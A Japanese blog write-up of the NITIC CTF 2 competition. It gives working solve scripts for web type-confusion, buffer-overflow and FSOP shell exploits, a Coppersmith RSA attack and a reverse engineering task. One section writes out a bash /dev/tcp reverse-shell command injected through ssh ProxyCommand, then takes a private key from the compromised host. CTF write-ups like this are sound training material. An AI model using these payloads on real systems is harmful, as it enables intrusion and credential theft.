NITIC CTF 2 Writeup
Mon Sep 06 2021
9/5-9/6 で開催していた NITIC CTF 2 にソロで参加しました。結果は 6th/174 (得点のあるチームのみカウント) でした。web と pwn で1問ずつ残してしまい、涙…
solve 数50以下の問題についての writeup をまとめます。あと解けなかった問題についてもメモを残しておきます。
Web
password
46 solves
server.pyfrom flask import Flask, request, make_response import string import secrets password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)]) print("[INFO] password: " + password) with open("flag.txt") as f: flag = f.read() def fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": c = "0oO" elif input_pass[i] in "l1I": c = "l1I" else: c = input_pass[i] if all([ci != password[i] for ci in c]): return False return True app = Flask(__name__) (snipped) @app.route("/flag", methods=["POST"]) def search(): if request.headers.get("Content-Type") != "application/json": return make_response("Content-Type Not Allowed", 415) input_pass = request.json.get("pass", "") if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) return flag app.run(port=8080)
ランダムに生成された32文字の password について、 fuzzy_equal 関数を通すことのできる input_pass を与えることができればフラグが手に入ります。
input_pass は JSON をパースして作られていますが、型のチェックがありません。そのため、 {"pass": "ABC..."} という形式でなくてもよく、例えば {"pass": ["A", "B", "C", ...]} と POST してもいいわけです。 fuzzy_equal の処理を見てみると、 input_pass[i] の中に password[i] の文字が一つでも含まれていればよいということになっているため、 {"pass": [string.ascii_letters, string.ascii_letters, ...]} という形式で送ると、 password がいかなる値であっても通すことができます。
solve.pyimport string import requests url = "http://34.146.80.178:8001/flag" res = requests.post(url, json={"pass": [string.ascii_letters] * 32}) print(res.text)
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
次の fixed の問題も含めていい問題だと思ったけど、この解き方は非想定だったんですかね…?
password fixed
13 solves 前問の fuzzy_equal が修正されています。
server.pydef fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": if password[i] not in "0oO": return False continue if input_pass[i] in "l1I": if password[i] not in "l1I": return False continue if input_pass[i] != password[i]: return False return True
今回は前問の方法では突破できなくなっています。しかし依然として型のチェックはないので、それを利用する方針で考えます。
まずはいろいろな型で POST するのを試してみました。すると、 [0, 0, ...] や [null, null, ...] のように文字列でないもののリストを送ると、500 が返ってくることに気づきました。これは if input_pass[i] in "0oO": の部分で型が合わず落ちるからです。
そこで、 JSON のリストの中身は全て同じ型じゃなくてもいいことに注目します (天下り的ですが)。つまり ["A", 0, "B", ...] などが許されています。 例えば ["A", null, "A", "A", ...] を送った時、 password[0] == "A" であれば 500 が返ってきます。一方で password[0] != "A" であれば 401 が返ってきます。 これを利用することで password の文字を1文字ずつ決めていくことができます。
solve.pyimport string import requests url = "http://34.146.80.178:8002/flag" password = "" for idx in range(31): base_payload = list(password) + ["A"] * (32 - len(password)) for c in string.ascii_letters: tmp_payload = base_payload.copy() tmp_payload[idx] = c tmp_payload[idx+1] = None res = requests.post(url, json={"pass": tmp_payload}) if res.status_code == 401: continue else: password += c print(password) break else: raise RuntimeError for c in string.ascii_letters: res = requests.post(url, json={"pass": password + c}) if res.status_code == 200: print(res.text)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
Pwn
pwn monster 3
50 solves
vuln.cvoid show_flag() { FILE *fp = fopen("./flag.txt", "r"); char flag[256]; if (fp == NULL) { printf("Not found flag.txt! Do you run in local?\n"); } else { fgets(flag, 256, fp); printf("%s\n", flag); fclose(fp); } } (snipped) typedef struct { char name[16]; int64_t hp; int64_t attack; char *(*cry)(); } Monster; (snipped) if (my_turn) { puts("Your Turn."); printf("%s: %s\n", my_monster.name, my_monster.cry()); printf("Rival monster took %ld damage!\n", my_monster.attack); rival_monster.hp -= my_monster.attack; } else { (snipped)
今までの問題と異なり、Monster に cry という method が生えています。この cry は各ターンで呼ばれるようです。 show_flag といういかにも呼んで欲しそうな関数があるので、BOF で cry の関数をこの関数に置き換えてしまいましょう。
solve.pyfrom pwn import remote, p64 io = remote("35.200.120.35", 9003) io.recvuntil("|cry() | ") addr_cry = int(io.recv(18), 16) addr_flag = addr_cry - 0x134E + 0x1286 payload = b"A" * 32 payload += p64(addr_flag) io.sendlineafter("name: ", payload) io.interactive()
nitic_ctf{rewrite_function_pointer_is_fun}
Misc
braincheck
36 solves
brainfuck で書かれたプログラムです。久しぶりに見た… このコードを読んでプログラムが理解できる人間ではないので、 bfs でコンパイルして ELF 形式にし、 gdb でメモリを見ながら動作を追いました。
int 0x80 が呼ばれるところでブレークポイントを設置し、入力した文字とそのときのメモリの状態を照らし合わせてみると、入力文字が正しいときだけ buffer[0] の値が0になっていそうでした (フラグの prefix が nitic_ctf{ であることが既知なので試せた)。 文字を1つ1つ変えていき、各 int 0x80 の場所で buffer[0] == 0 となっているかを確認する作業を温かい手作業で行い、フラグを復元しました。動作を追うというのは嘘でしたね。
nitic_ctf{esoteric!}
angr で簡単に解けそうな気配がしたのに、なぜか自分の環境ではうまく動いてくれなかった…賢い方法を知りたい。
Rev
report or repeat
22 solves
Ghidra で解析します。
main 関数の核の部分は以下の通りです (変数名は適宜与えています)。
do { read_counter = fread(buf_read,1,0x100,__stream); read_counter_int = (int)read_counter; if (read_counter_int < 0x100) { local_338 = read_counter_int; if (read_counter_int == 0) break; for (; local_338 < 0x100; local_338 = local_338 + 1) { buf_read[local_338] = 0; } } FUN_00101209(buf_read,buf_write); read_counter = fwrite(buf_write,1,0x100,__s); if (read_counter < 0x100) { printf("Failed to write to %s\n",(long)&new_file_name + 1); uVar2 = 1; goto LAB_00101738; } } while (read_counter_int == 0x100); fclose(__stream); fclose(__s); uVar2 = 0;
入力のファイルに対して 0x100 バイトずつ読み出し、 FUN_00101209 であれこれした結果を buf_write に保持し、それを出力ファイルに書き込みます。
次に FUN_00101209 の動作を見てみます。
mem_stack = 0xc2b5e93852ec1e72; local_110 = 0x27ea0f531f754746; local_108 = 0x2a898c8c6ed757cf; local_100 = 0x12e7a197b8a86f2; (snipped) local_30 = 0xe951440710637bef; local_28 = 0x330c4a5a3dce2989; local_20 = 0x81d57f6dd1652132; for (i = 0; i < 0x100; i = i + 1) { *(byte *)(output + i) = PTR_DAT_00104120[*(byte *)(input + (ulong)(byte)(&mem_data)[i])] ^ *(byte *)((long)&mem_stack + (long)i); }
output[i] = PTR_DAT_00104120[input[mem_data[i]]] ^ mem_stack[i] という計算がされています。
PTR_DAT_00104120、 mem_data、 mem_stack に該当する値を gdb で動かしつつ持ってきて、 decode するプログラムを書きました。
solve.pyfrom Crypto.Util.number import long_to_bytes with open("./report_or_repeat/report.pdf.enc", "rb") as f: oup = f.read() ptr_data = [ 0x8925ed1186778c06, 0x99a50dc97d796466, 0x0a1b9eaa47716b44, 0x61f082a66e1ebfc3, 0xc2b0b28790423584, 0xcde93e457312f43d, 0xe8532d5ba4334126, 0xeb81bae518bcc53a, 0x8acfac2fcc499f58, 0xd015b4a29c24480b, 0x784b07f316d3191f, 0x7e0057c131e23480, 0x6a469b692154705e, 0x596d17b9409acbb6, 0x62e375df3260eafc, 0xb583f103d785a738, 0xa36c0eadfdee5f55, 0x9d725a020813c020, 0xd87439f99388fb5d, 0x4de1ce3f67044fd2, 0x2a09db2b942ccad5, 0x0f01224e2995e737, 0xb8f8147a56c8d4dc, 0xab5c8df5a9a84330, 0x512e0c4a231a966f, 0x654ce48e52c792d6, 0x8befbedd05bb9768, 0xa17bb3dac47698b7, 0x10e0faf6af91a036, 0xf27cde50febd1c27, 0x7fd13ce6d9c6aeb1, 0xf7288f3bec1d63ff, ] mem_data = [ 0x0a4c2fa53b0e8557, 0x2a440bff05d57571, 0xacbd2367fa11b5d4, 0x3963ef5a229d479c, 0xd12ee364467ebfe5, 0x5002a3a9889240b9, 0x96b8e9cf367d35c4, 0x0fecc386746698ad, 0x7f16d9c11fe8511c, 0xea3719c234f4a8c0, 0x1e28a1daed8b4218, 0x6d9495098aa76e3c, 0xe75f278c8f4a3d9e, 0xeb91826a72e0f8de, 0xf3e12d21e2f5f908, 0x3fce5d01737abac6, 0xf658d24160cbee59, 0xa4b24e70627855b4, 0x24f7979b29dcdbbb, 0xe67bcc43a0934b76, 0x8d263ad8c565a238, 0xfb5eb12507bcc769, 0xcacd9949af7713b0, 0x80176b56b76cbe04, 0x53f1688e81452b87, 0x7c142c0dd3fda633, 0xfef0891a4f908320, 0xaeaad01b06d6df32, 0x6f9a1203e484dd79, 0x309f0cc93e1dd7ab, 0xb65c6115f2b35410, 0x005248fcc84d5b31, ] mem_stack = [ 0xc2b5e93852ec1e72, 0x27ea0f531f754746, 0x2a898c8c6ed757cf, 0x012e7a197b8a86f2, 0x7c9f5b2bd30815ab, 0x58826f3c985dde86, 0x9ef377a56285eaf2, 0x1b71a09e8b10373e, 0x650117b32f7e9dce, 0xf928e1ad2f795c14, 0xa65e121f693a9255, 0x28e33b47dadba441, 0x627c22fa9ce90908, 0x8e45e495862805d2, 0x426458ed66ebe7d2, 0x685191a02170a9ba, 0x7abb33126ca97eff, 0x01047cceede01bde, 0xd3061b78361723cf, 0x0d4a5086985e255e, 0xc22b726e96390c31, 0xf9a944d74cdd310f, 0xb0a67368b940edb7, 0x4ce4b603372e3eef, 0x6254f01074835dcb, 0x846ea7ff5cdf28c1, 0x3d175ba063eb3959, 0x98777b218bcbee97, 0x0670388d4459a9d5, 0xe951440710637bef, 0x330c4a5a3dce2989, 0x81d57f6dd1652132, 0x00007fffffffe5a0, 0x1b571d823dc40f00, 0x00007fffffffe4b0, 0x00005555555556a9, ] def mem_to_bytes(mem): ret = [] for m in mem: for _ in range(8): ret.append(m % 256) m //= 256 return ret bytes_ptr_data = mem_to_bytes(ptr_data) bytes_data = mem_to_bytes(mem_data) bytes_stack = mem_to_bytes(mem_stack) # oup[i] = bytes_ptr_data[inp[bytes_data[i]]] ^ bytes_stack[i] inp_all = b"" for i in range(0, len(oup), 0x100): bytes_inp = [None] * 0x100 for j in range(0x100): res = oup[i+j] res ^= bytes_stack[j] res = bytes_ptr_data.index(res) bytes_inp[bytes_data[j]] = res inp = b"".join([long_to_bytes(b) for b in bytes_inp]) inp_all += inp inp_all = inp_all[:inp_all.rindex(b"EOF")+3] with open("dec.pdf", "wb") as f: f.write(inp_all)
nitic_ctf{xor+substitution+block-cipher}
decode した pdf にソースコードが載ってるのいいですね。
Crypto
summeRSA
32 solves
task.pyfrom Crypto.Util.number import * from random import getrandbits with open("flag.txt", "rb") as f: flag = f.read() assert len(flag) == 18 p = getStrongPrime(512) q = getStrongPrime(512) N = p * q m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag) e = 7 d = pow(e, -1, (p - 1) * (q - 1)) c = pow(m, e, N) print(f"N = {N}") print(f"e = {e}") print(f"c = {c}")
フラグの文字列長は18で、そのうちの10文字は nitic_ctf{ なので、8文字が未知です。 RSA で暗号化するときは41文字の既知な接頭辞がつけられています。したがって、8/59 < 1/7 = 1/e が未知です。この程度の値であれば coppersmith's attack で求めることができます。
solve.pyfrom Crypto.Util.number import bytes_to_long, long_to_bytes N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703 e = 7 c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310 m_msb = bytes_to_long(b"the magic words are squeamish ossifrage. " + b"nitic_ctf{") * 256 ** 8 PR.<m_lsb> = PolynomialRing(Zmod(N)) m = m_msb + m_lsb f = m^7 - c m = f.small_roots(epsilon=0.05)[0] print(b"nitic_ctf{" + long_to_bytes(m))
nitic_ctf{k01k01!}
解けなかった問題&復習
Web
Is It Shell?
3 solves
wetty というプログラムに以下のパッチを当てたものが動いているようです。
wetty2.0.3.patch--- a/src/client/wetty.ts +++ b/src/client/wetty.ts @@ -27,7 +27,7 @@ socket.on('connect', () => { const fileDownloader = new FileDownloader(); term.onData((data: string) => { - socket.emit('input', data); + socket.emit('input', data.replace(/-/g, '')); }); term.onResize((size: { cols: number; rows: number }) => { socket.emit('resize', size);
patch の元となっている v2.0.3 の branch で docker-compose を使ってもなぜかうまく起動できなかったので、仕方なく main branch で起動してみました。 このパッチでは - を打てなくしているので、手元環境で試しに -- と打ってみると、 ssh: unrecognized option: @ と表示されたり、 --i と打ってみると Warning: Identity file @wetty-ssh not accessible: No such file or directory. と表示されたり… コマンドインジェクションができそうな気配が感じ取れましたが、特に何もできずに終了。
kusano_k さんの writeup と st98 さんの writeup を参考にして解き直してみました。
まず問題の環境で - を打てるようにする必要があり、前者では chrome の Local Overrides 機能を使い、後者では String.prototype.replace = function () { return this; }; を console で打ち replace の動作を変えていました。 前者のほうが汎用性が高そう (ほんと?) なので実際にやってみます。
chrome で devtool を開き、 Source タブの中の Overrides タブを開きます。 "Enable Local Overrides" をチェックし、画面上部でディレクトリアクセス権を許可します。その後 Network タブ内で書き換えたいファイル (今回は wetty.js) を右クリックし、 "Save for overrides" を選択します。再び Sources タブに戻り、先程選択したファイルを選択し、適宜編集して保存 (Ctrl+s) します。今回でいうと replace の部分を消しました。これで - が打てるようになります。
- が打てるようになったので先述した通り何かしら option を指定できるようになりました。 -o ProxyCommand を使うことで任意のコマンドを実行できるようです。これを使ってリバースシェルを張ります。 手元環境で nc -lvnp PORT を実行しておき、 -o ProxyCommand=bash -c "bash -i >& /dev/tcp/MY_URL/PORT 0>&1"; を wetty で入力します。これでシェルを叩けるようになりました。
$HOME/note をみると login to flag@flagserver と書いてあります。 $HOME/id_rsa_flag というファイルも存在するので、この秘密鍵を使って flag@flagserver に ssh すればよさそう。
しかしリモート環境で ssh -i id_rsa_flag flag@flagserver を叩いても Load key "id_rsa_flag": invalid format と言われてしまい、失敗します (なんで?)。 原因がよくわからないので、 id_rsa_flag を local に持ってきて、 cat /etc/hosts で flagserver の IP アドレスを確認し、 local から ssh -i id_rsa_flag [email protected] で ssh 接続できました。
nitic_ctf{shell_in_the_webshell}
Pwn
baby_IO_jail
5 solves
vuln.c#include<stdio.h> #include<unistd.h> void main(void) { setvbuf(stdout, NULL, _IONBF, 0); jail: read(0,stdout,0x300); puts("back to jail"); goto jail; }
stdout に 0x300 バイトまで書き込むことができます。
ちょうど先週 FSOP を学んだので、 _IO_write_ptr を _IO_write_base より大きくして任意アドレスの値をリークしたり、 _IO_jump_t の vtable 先を _IO_helper_jumps に変えて __overflow を one gadget とかにできたりしそうだなーと眺めていたのですが、肝心の libc のベースアドレスをリークする方法がわからず詰んでしまいました…中途半端な理解をしているとすぐこうなるので要復習。
kusano_k さんの writeup を参考にして解き直してみました。 _IO_write_base の LSB を \x00 にして _IO_2_1_stdin_ のアドレスをリークすることで libc ベースアドレスを求めていました。自分もそれ試したけど表示されなかったんだよな…と思いよく見てみると _flags の指定を間違っていたからのようでした。確かに _flags の挙動一切わかっていない…なので _flags による動作の違いを追ってみました。
libc-2.31 での _flags は以下の通りです。
libio/libio.h#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000
自分が試していたときは、 Angel Boy-san のスライド を参考に、 _flags &= ~8; _flags |= 0x800; のみ実行しており、 _flags = 0xfbad2884 でした。 先述の writeup では _flags = 0xfbad3887 が使われており、これと比較すると _IO_IS_APPENDING と _IO_USER_BUF と _IO_UNBUFFERED のビットが立っておらず、上手くいっていなかったようです。
_IO_USER_BUF についてはコメントにも書かれている通り close 時の処理についてのフラグのようなので、今回は関係なさそうです。 _IO_UNBUFFERED と _IO_IS_APPENDING について処理を追ってみます。
_flags = 0xfbad3887 のとき、 puts 関数内部でどういう呼び出しが生じるのかを gdb で追ってみたところ、以下の順番で呼び出されていました。
- puts("back to jail")
- _IO_new_file_xsputn(*_IO_2_1_stdout_, "back to jail", 0xc)
- _IO_new_file_overflow(*_IO_2_1_stdout_, 0xffffffff (=EOF))
- _IO_new_do_write(*_IO_2_1_stdout_, *_IO_2_1_stdout_+96, 0x23)
- _IO_new_file_write(*_IO_2_1_stdout_, *_IO_2_1_stdout_+96)
最後の _IO_new_file_write の部分について 見てみます。
libio/fileops.cstatic size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
_IO_IS_APPENDING のビットが立っていないと、 fp->_IO_read_end != fp->_IO_write_base なので _IO_SYSSEEK(...) が呼ばれます。この結果は _IO_pos_BAD となるので return 0 が呼ばれてしまい、 _IO_SYSWRITE(...) の部分に辿り着けなくなってしまうようでした。
また、 _IO_UNBUFFERED のビットが立っていないとこの関数の最後で _IO_write_end == _IO_buf_end となります。 puts の 内部実装 をみてみます。
libio/ioputs.cint _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; }
_IO_new_file_xsputn(...) (= _IO_sputn(...)) のあとは _IO_putc_unlocked(...) が呼ばれるのですが、これの実体は以下の通りです。
libio/bits/types/struct_FILE.h#define __putc_unlocked_body(_ch, _fp) \ (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \ ? __overflow (_fp, (unsigned char) (_ch)) \ : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
__overflow を呼ぶかどうかが _IO_write_ptr >= _IO_write_end で判定されています。もともとの _IO_2_1_stdout_ の値は
pwndbg> p _IO_2_1_stdout_ $19 = { file = { _flags = -72540025, _IO_read_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7fb9724 <_IO_2_1_stdout_+132> "", (snipped)
のようになっているので、 _IO_write_end = _IO_buf_end となっていると __overflow(stdout, "\n") が呼ばれません。長くなりましたが話を戻すとこういう理由で _IO_UNBUFFERED のビットを立てないと \n が出力されないことがわかりました。 そのため、 puts 関数が使われているからといって io.recvline() のような形式で出力を受け取ろうとするとコケます。これは罠… なので本質的に重要だったのは _IO_IS_APPENDING のビットを立てることだったみたいです。
_flags を修正して libc アドレスをリークした後、次の read で vtable の先を直後の _IO_helper_jumps に指定し、 __overflow を system にし、 _flags の部分を /bin/sh にしたらシェルを奪えました。
solve.pyfrom pwn import * REMOTE = True elf = ELF("./dist/vuln") if REMOTE: libc = ELF("./dist/libc-2.31.so") io = remote("18.117.194.78", 13377) else: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") io = remote("localhost", 1337) context.binary = elf _flag = 0xfbad3887 addr = 0x7ffff7fb0000 # 適当でいい payload = pack(_flag) payload += pack(addr) # _IO_read_ptr payload += pack(addr) # _IO_read_end payload += pack(addr) # _IO_read_base payload += b"\x00" # _IO_write_base io.send(payload) ret = io.recvline() addr_stdin = unpack(ret[8: 16]) print(f"{hex(addr_stdin) = }") libc.address = addr_stdin - libc.symbols["_IO_2_1_stdin_"] payload = b"/bin/sh\x00" payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 4 payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84) # _IO_write_ptr payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 2 payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84) payload += pack(0) * 4 payload += pack(libc.symbols["_IO_2_1_stdin_"]) payload += pack(1) payload += pack(0xffffffffffffffff) payload += pack(0) payload += pack(libc.address + 0x1ee4c0) # pack(libc.symbols["_IO_stdfile_1_lock"]) payload += pack(0xffffffffffffffff) payload += pack(0) payload += pack(0) # pack(libc.symbols["_IO_wide_data_1"]) payload += pack(0) * 6 payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x200) # pack(libc.symbols["_IO_helper_jumps"]) payload += pack(libc.symbols["_IO_2_1_stderr_"]) payload += pack(libc.symbols["_IO_2_1_stdout_"]) payload += pack(libc.symbols["_IO_2_1_stdin_"]) payload += pack(0) # pack(libc.symbols["__gcc_personality_v0"]) payload += pack(0) * 30 payload += pack(0) * 2 # _IO_helper_jumps payload += pack(0) * 3 payload += pack(libc.symbols["system"]) io.send(payload) io.interactive()
nitic_ctf{it_is_pointless_for_us}